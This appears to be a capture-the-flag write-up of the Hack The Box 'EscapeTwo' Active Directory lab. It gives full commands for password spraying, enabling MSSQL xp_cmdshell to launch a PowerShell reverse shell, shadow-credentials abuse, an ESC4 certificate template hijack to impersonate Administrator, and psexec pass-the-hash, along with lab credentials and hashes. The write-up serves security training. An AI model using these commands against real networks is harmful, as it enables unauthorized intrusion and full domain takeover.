writeup 2025-11-14 · 11 min read

Hack The Box EscapeTwo Writeup (Easy Windows)

Easy Windows AD box. A corrupted xlsx on an SMB share leaks passwords, sa on MSSQL gives a shell, and an ESC4 template hijack mints the Administrator.

Hack The Box EscapeTwo Writeup (Easy Windows)

Summary

EscapeTwo is an easy difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. We leverage these credentials to access a file share containing a corrupted Excel document. By modifying its byte structure, we extract credentials. These are then sprayed across the domain, revealing valid credentials for a user with access to MSSQL, granting us initial access. System enumeration reveals SQL credentials, which are sprayed to obtain WinRM access. Further domain analysis shows the user has write owner rights over an account managing ADCS. This is used to enumerate ADCS, revealing a misconfiguration in Active Directory Certificate Services. Exploiting this misconfiguration allows us to retrieve the Administrator account hash, ultimately leading to complete domain compromise.

Machine Notes

As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su

I save the username “rose” to “users.txt” and the password “KxEPkKe6R8su” to “passwords.txt”

Service Enumeration

I use the following nmap command to enumerate for services:

1
nmap -A -vv -oN scans/nmap.initial -Pn 10.129.232.128

It yields the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# Nmap 7.93 scan initiated Thu Nov 13 16:15:46 2025 as: nmap -A -vv -oN scans/nmap.initial -Pn 10.129.232.128
Nmap scan report for 10.129.232.128
Host is up, received user-set (0.15s latency).
Scanned at 2025-11-13 16:15:47 -03 for 102s
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-13 19:16:04Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after:  2124-06-08T17:00:40
| MD5:   b55aa63f50baed44f865820a5b8ef493
| SHA-1: a87b9555516474d3f73fbded72e7baabdb76c12a
| -----BEGIN CERTIFICATE-----
| MIIF<SNIP>ZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-13T19:17:27+00:00; 0s from scanner time.
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after:  2124-06-08T17:00:40
| MD5:   b55aa63f50baed44f865820a5b8ef493
| SHA-1: a87b9555516474d3f73fbded72e7baabdb76c12a
| -----BEGIN CERTIFICATE-----
| MIIF<SNIP>ZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-13T19:17:26+00:00; -1s from scanner time.
1433/tcp open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-13T19:15:17
| Not valid after:  2055-11-13T19:15:17
| MD5:   29a878e804da8654d93404911c496329
| SHA-1: d9855bc37517b3fb83ccc33059179a685737b7ed
| -----BEGIN CERTIFICATE-----
| MII<SNIP>WQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-13T19:17:27+00:00; 0s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after:  2124-06-08T17:00:40
| MD5:   b55aa63f50baed44f865820a5b8ef493
| SHA-1: a87b9555516474d3f73fbded72e7baabdb76c12a
| -----BEGIN CERTIFICATE-----
| MIIF<SNIP>ZM=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-13T19:17:27+00:00; 0s from scanner time.
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-13T19:17:26+00:00; -1s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-26T11:46:45
| Not valid after:  2124-06-08T17:00:40
| MD5:   b55aa63f50baed44f865820a5b8ef493
| SHA-1: a87b9555516474d3f73fbded72e7baabdb76c12a
| -----BEGIN CERTIFICATE-----
| MIIF<SNIP>ZM=
|_-----END CERTIFICATE-----
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

SMB Server Enumeration

I ran the command:

1
nxc smb 10.129.232.128 -u rose -p 'KxEPkKe6R8su' --shares

And discovered my user has access to the “accounting department” share. This share sparks my curiosity because is the only one “non-default”:

SMB share listing where rose can reach the non-default Accounting Department share

I mount the share to my local machine:

1
sudo mount -t cifs -o username=rose,password=KxEPkKe6R8su '//10.129.232.128/accounting department' mount/

I list for files and find two excel sheets:

1
2
3
4
5
6
$ ls -la mount/
total 24
drwxr-xr-x 2 root root     0 Jun  9  2024 .
drwxr-xr-x 4 user user  4096 Nov 13 16:17 ..
-rwxr-xr-x 1 root root 10217 Jun  9  2024 accounting_2024.xlsx
-rwxr-xr-x 1 root root  6780 Jun  9  2024 accounts.xlsx

I copy everything from the mountpoint into a “loot” folder:

1
2
$ mkdir loot 
$ cp mount/* loot/

Inspecting Excel Sheets

I try opening accounts.xlsx using libreoffice, but it errors out:

LibreOffice failing to open the corrupted accounts.xlsx file

I then check to see the file type, it says for some reason it’s a zip file (maybe that’s normal for xlsx files), so I unzip it and it gives me a handful of files to work with:

accounts.xlsx identified as a zip archive and unpacked into its component files

Obviously I run a command to look for “password” in all files:

1
grep -ri password . --color

It finds a few instances! It seems like this sheet contains the passwords for some users:

grep for password across the unpacked sheet, turning up credentials for several users

I save them all to my “passwords.txt” file:

1
2
3
4
5
KxEPkKe6R8su
0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!

Password Spraying

I now have as considerable amount of passwords to try against the domain. First I get a users file with al the users in the domain:

1
nxc ldap 10.129.232.128 -u rose -p 'KxEPkKe6R8su' --users-export users.txt

I edit the file to remove a few default users like Administrator, krbtgt and guest. The following are the valid users:

1
2
3
4
5
6
michael
ryan
oscar
sql_svc
rose
ca_svc

I do run a password spray against all users with all passwords obtained from the cheet:

1
nxc ldap 10.129.232.128 -u users.txt -p passwords.txt --continue-on-success

I find one new valid credential among the output:

1
[+] sequel.htb\oscar:86LxLBMgEWaKUnBG

MSSQL Enumeration

I notice there’s a password that goes:

1
MSSQLP@ssw0rd!

That points to MSSQL. There is in fact a user named “sql_svc” in the domain. However, when trying to log in using this password, it fails.

Reading through the cheet again, I find this (internal) username is tied to this MSSQL password:

1
sa@sequel.htb

I try logging in to the MSSQL server using this username, and it works! It immediately says (Pwn3d!) because “sa” is the database administrator. I enable “xp_cmdshell” right away to start executing OS commands on the machine:

NetExec logging into MSSQL as sa and reporting Pwn3d!

To enable XP_CMDSHELL:

1
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -M enable_cmdshell -o ACTION=enable

Initial Access - MSSQL

I do get a powershell base64 encoded shell from revshells.com:

revshells.com generating the base64 encoded PowerShell reverse shell

I do use netexec to execute this powershell payload:

1
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x 'powershell -e <base64 blob>'

I immediately get a shell in the machine as “sql_svc”:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\users\sql_svc\documents> whoami /priv 

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\users\sql_svc\documents> whoami
sequel\sql_svc

Active Directory Enumeration

I do use rusthound-ce to collect data for bloodhound:

1
rusthound-ce -d sequel.htb -z -c All -u rose -p 'KxEPkKe6R8su'

Mind you, I added the machine’s IP address to my /etc/resolv.conf file like so:

1
2
$ cat /etc/resolv.conf                                               
nameserver 10.129.232.128

Because I’ve had issues in the past with DNS when collecting data like that, so now I just route all DNS queries through the box for this small period of time.

I mark my user “rose” as owned and see it has some outbout privileges, but they’re all normal:

BloodHound outbound object control for rose, showing nothing out of the ordinary

I also go ahead and mark “oscar” as owned and I notice it has membership in another group (accounting department):

BloodHound showing oscar's membership in the accounting department group

Now I look for the “Remote Management Users” group because members of this group can winrm into the machine (worth checking). I see that the only member of Remote Management Users is “ryan”. I mark “ryan” as a high-value user:

BloodHound showing ryan as the only member of Remote Management Users

When I look at ryan’s outbound privileges, I see it has “WriteOwner” over the ca_svc user:

BloodHound showing ryan with WriteOwner over the ca_svc account

And, well, ca_svc has a bunch of privileges over ADCS stuff:

BloodHound listing the rights ca_svc holds over the ADCS objects

So now it’s pretty clear to me I gotta get to “ryan” in order to compromise “ca_svc” and ultimately get domain admin.

Lateral Movement

Anyways, back to my shell in the system as “sql_svc”. I ran many tools, ranging from PrivescCheck.ps1 to winpeas.exe to even Lazagne.exe but got no actionable, immediate results that could possibly assist me in escalating privileges or moving laterally.

I truly can’t explain why any of my system enumeration tools missed this file at

1
C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI

Because it clearly contains a keyword “password” that should match the regex search at least for winpeas (I ran winpeas all checks with .\winpeas.exe all and it never located this file). The file contains a new password we didn’t know about:

sql-Configuration.INI exposing a password that every enumeration script missed

I save this new password to my “passwords.txt” file and perform a password spray against “ryan”:

Password spray confirming the new password is valid for ryan

With that, I have confirmed new credentials:

1
2
Username: ryan
Password: WqSZAF6CysDQbGb3

Active Directory Exploitation

I know that “ryan” has “WriteOwner” on “ca_svc”. There are quite a few ways to exploit this ACL, but I’m going with shadow credentials. That’s better because I can still control the account fully, without the need to change its password.

I first set ca_svc’s owner as “ryan”:

1
owneredit.py -action write -new-owner ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 -dc-ip 10.129.232.128

Then I give “ryan” full control over the ca_svc user object:

1
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' sequel.htb/ryan:WqSZAF6CysDQbGb3

You can see both commands being executed in the screenshot below:

owneredit.py and dacledit.py giving ryan full control over the ca_svc object

Now I can use certipy to perform the shadow credentials attack automatically against ca_svc:

1
certipy shadow auto -u ryan -p WqSZAF6CysDQbGb3 -dc-host sequel.htb -account ca_svc

The command works, and I get the NTLM hash for ca_svc:

Certipy shadow credentials attack returning the NT hash for ca_svc

ADCS Enumeration

I know that “ca_svc” has interesting privileges (GenericAll) over a certificate template in the domain:

BloodHound showing ca_svc with GenericAll over a certificate template

I use certipy as ca_svc to enumerate ADCS and find vulnerable configs:

1
certipy find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-host sequel.htb

The command generates a json file to my current working directory. I open it to be presented with more detailed info about the ADCS infraestructure. The output outlines a severe vulnerability (ESC4):

Certipy find output flagging the DunderMifflinAuthentication template as ESC4

I search google for the certipy wiki on ESC4 for reference:

ESC4, or Template Hijacking, occurs when an attacker gains permissions to modify a certificate template object stored in Active Directory. Certificate templates are AD objects residing in the Configuration Naming Context (under CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=...) and are protected by ACLs. If an attacker obtains Write access - such as WriteDACL (to change permissions), WriteOwner (to take ownership and then change permissions), specific WriteProperty rights on critical attributes, or FullControl - over a template object, they can alter its configuration. This modification can turn a previously secure template into one vulnerable to other attack scenarios, most commonly ESC1 (Enrollee-Supplied Subject for Client Authentication) or ESC2 (Any Purpose Certificate).

So first I reconfigure the template to a vulnerable state with the command (it’ll ask for confirmation, you just confirm):

1
2
3
4
certipy template \
    -u 'ca_svc' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \
    -dc-ip '10.129.232.128' -template 'DunderMifflinAuthentication' \
    -write-default-configuration

Then I request the template, impersonating administrator:

1
2
3
4
5
certipy req \
    -u 'ca_svc' -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \
    -dc-ip '10.129.232.128' -target 'DC01.sequel.htb' \
    -ca 'sequel-DC01-CA' -template 'DunderMifflinAuthentication' \
    -upn 'administrator@sequel.htb' -sid 'S-1-5-21-548670397-972687484-3496335370-500'

Note that you can find the SID for the administrator user through bloodhound:

BloodHound node view showing the Administrator account's SID

And log in to ADCS to get the NT hash for administrator:

1
certipy auth -pfx 'administrator.pfx' -dc-ip '10.129.232.128'

In this screenshot you can see all three commands being executed:

The three certipy commands rewriting the template, requesting the certificate and authenticating

Then finally I can get a shell in the system as root with:

1
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff administrator@sequel.htb

It finds the writable share, uploads the executable and lands me in a shell as NT Authority SYSTEM:

psexec.py landing a shell as NT Authority SYSTEM on DC01

This post is licensed under CC BY 4.0 by the author.